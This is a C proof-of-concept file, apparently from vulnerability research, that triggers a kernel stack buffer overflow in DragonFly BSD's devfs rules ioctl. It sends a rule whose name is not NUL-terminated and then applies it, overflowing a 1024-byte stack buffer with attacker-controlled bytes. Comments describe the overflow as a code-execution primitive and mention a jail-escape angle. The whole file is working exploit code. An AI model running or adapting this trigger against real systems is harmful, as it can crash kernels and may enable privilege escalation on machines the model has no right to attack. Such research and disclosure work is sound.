DF-0897 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | /* * DF-0897 β Stack buffer overflow via non-NUL-terminated name/linkname * in devfs_rules ioctl. * * Bug: devfs_rules.c:104 len = strlen(templ->name) -- UNBOUNDED * The struct devfs_rule_ioctl has 3 adjacent char[PATH_MAX] arrays: * mntpoint[1024], name[1024], linkname[1024] (sys/sys/devfs_rules.h:74-78) * If name[] is not NUL-terminated within PATH_MAX, strlen walks past * name into linkname (and beyond), returning up to ~2072. * kstrdup() copies that many bytes into rule->name. * * Later, devfs_rule_checkname() (devfs_rules.c:360) has * char name_buf[PATH_MAX]; -- 1024-byte stack buffer * and calls devfs_resolve_name_path(rule->name, name_buf, ...) * which does (devfs_core.c:2032-2038): * size_t len = strlen(fullpath) + 1; * memcpy(buf, fullpath, len); -- ~2072 bytes into 1024 * * => ~1048-byte stack smash with attacker-controlled bytes. * DragonFly kernel has NO stack canary (-fstack-protector absent), * so this is a code-execution primitive, not just a DoS. * * Trigger path: ioctl(/dev/devfs, DEVFS_RULE_ADD, ...) [oversized name] * ioctl(/dev/devfs, DEVFS_RULE_APPLY, ...) [triggers smash] * * Access: /dev/devfs is 0600 root:wheel β DIRECT trigger is rootβkernel. * Jail-escape angle: jailed root (cr_uid=0) can open /dev/devfs * if exposed in the jail's devfs mount. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/syslimits.h> #include <sys/devfs_rules.h> int main(int argc, char **argv) { int fd, rc; struct devfs_rule_ioctl *rule; fd = open("/dev/devfs", O_RDWR); if (fd < 0) { perror("open /dev/devfs"); fprintf(stderr, "(must run as root; device is 0600 root:wheel)\n"); return 1; } /* * STEP 1: DEVFS_RULE_ADD β create a rule with a non-NUL-terminated name. * * Fill the entire struct with non-NUL bytes, then set the specific * fields. strlen(templ->name) at devfs_rules.c:104 will scan from * name[0] through linkname[1023] and the trailing fields until it * hits the NUL we plant at the very last byte of the struct. * * name[0] is at offset 2*sizeof(u_long)+PATH_MAX = 16+1024 = 1040. * The last byte of the struct (padding) is at offset sizeof-1 = 3111. * strlen(name) = 3111 - 1040 = 2071 bytes (all attacker-controlled). */ rule = (struct devfs_rule_ioctl *)malloc(sizeof(*rule)); if (!rule) { perror("malloc"); return 1; } memset(rule, 'A', sizeof(*rule)); /* everything non-NUL */ ((char *)rule)[sizeof(*rule) - 1] = '\0'; /* terminate strlen cleanly */ rule->rule_type = DEVFS_RULE_NAME; /* 0x01 β triggers name processing */ rule->rule_cmd = DEVFS_RULE_PERM; /* 0x08 β benign permission rule */ /* mntpoint: must be NUL-terminated, match /dev mount */ memcpy(rule->mntpoint, "/dev", 5); /* includes trailing NUL */ /* name[0..1023] = all 'A' (non-NUL) -- strlen overflows past PATH_MAX */ /* linkname[0..1023] = all 'A' (non-NUL) */ /* dev_type/mode/uid/gid/padding = 'A' (non-NUL) until last byte */ printf("[*] sizeof(struct devfs_rule_ioctl) = %zu\n", sizeof(*rule)); printf("[*] name starts at offset %zu, linkname at offset %zu\n", (size_t)((char *)rule->name - (char *)rule), (size_t)((char *)rule->linkname - (char *)rule)); printf("[*] strlen(name) will scan %zu bytes before hitting NUL at struct end\n", sizeof(*rule) - ((char *)rule->name - (char *)rule) - 1); printf("[*] Sending DEVFS_RULE_ADD with non-NUL-terminated name...\n"); rc = ioctl(fd, DEVFS_RULE_ADD, rule); printf("[*] DEVFS_RULE_ADD returned %d (errno=%d: %s)\n", rc, errno, strerror(errno)); if (rc != 0) { fprintf(stderr, "[!] ADD failed; cannot proceed to APPLY\n"); close(fd); free(rule); return 1; } /* * STEP 2: DEVFS_RULE_APPLY β triggers devfs_rule_check_apply β * devfs_rule_checkname β devfs_resolve_name_path β memcpy overflow. * * The apply ioctl's mntpoint is kstrdup'd and matched against mount * names. "/dev" matches the devfs mount. */ struct devfs_rule_ioctl apply_cmd; memset(&apply_cmd, 0, sizeof(apply_cmd)); memcpy(apply_cmd.mntpoint, "/dev", 5); printf("[*] Sending DEVFS_RULE_APPLY (triggers stack smash)...\n"); fflush(stdout); rc = ioctl(fd, DEVFS_RULE_APPLY, &apply_cmd); printf("[*] DEVFS_RULE_APPLY returned %d (errno=%d: %s)\n", rc, errno, strerror(errno)); /* If we reach here, the kernel did NOT crash β investigate why. */ close(fd); free(rule); return 0; } |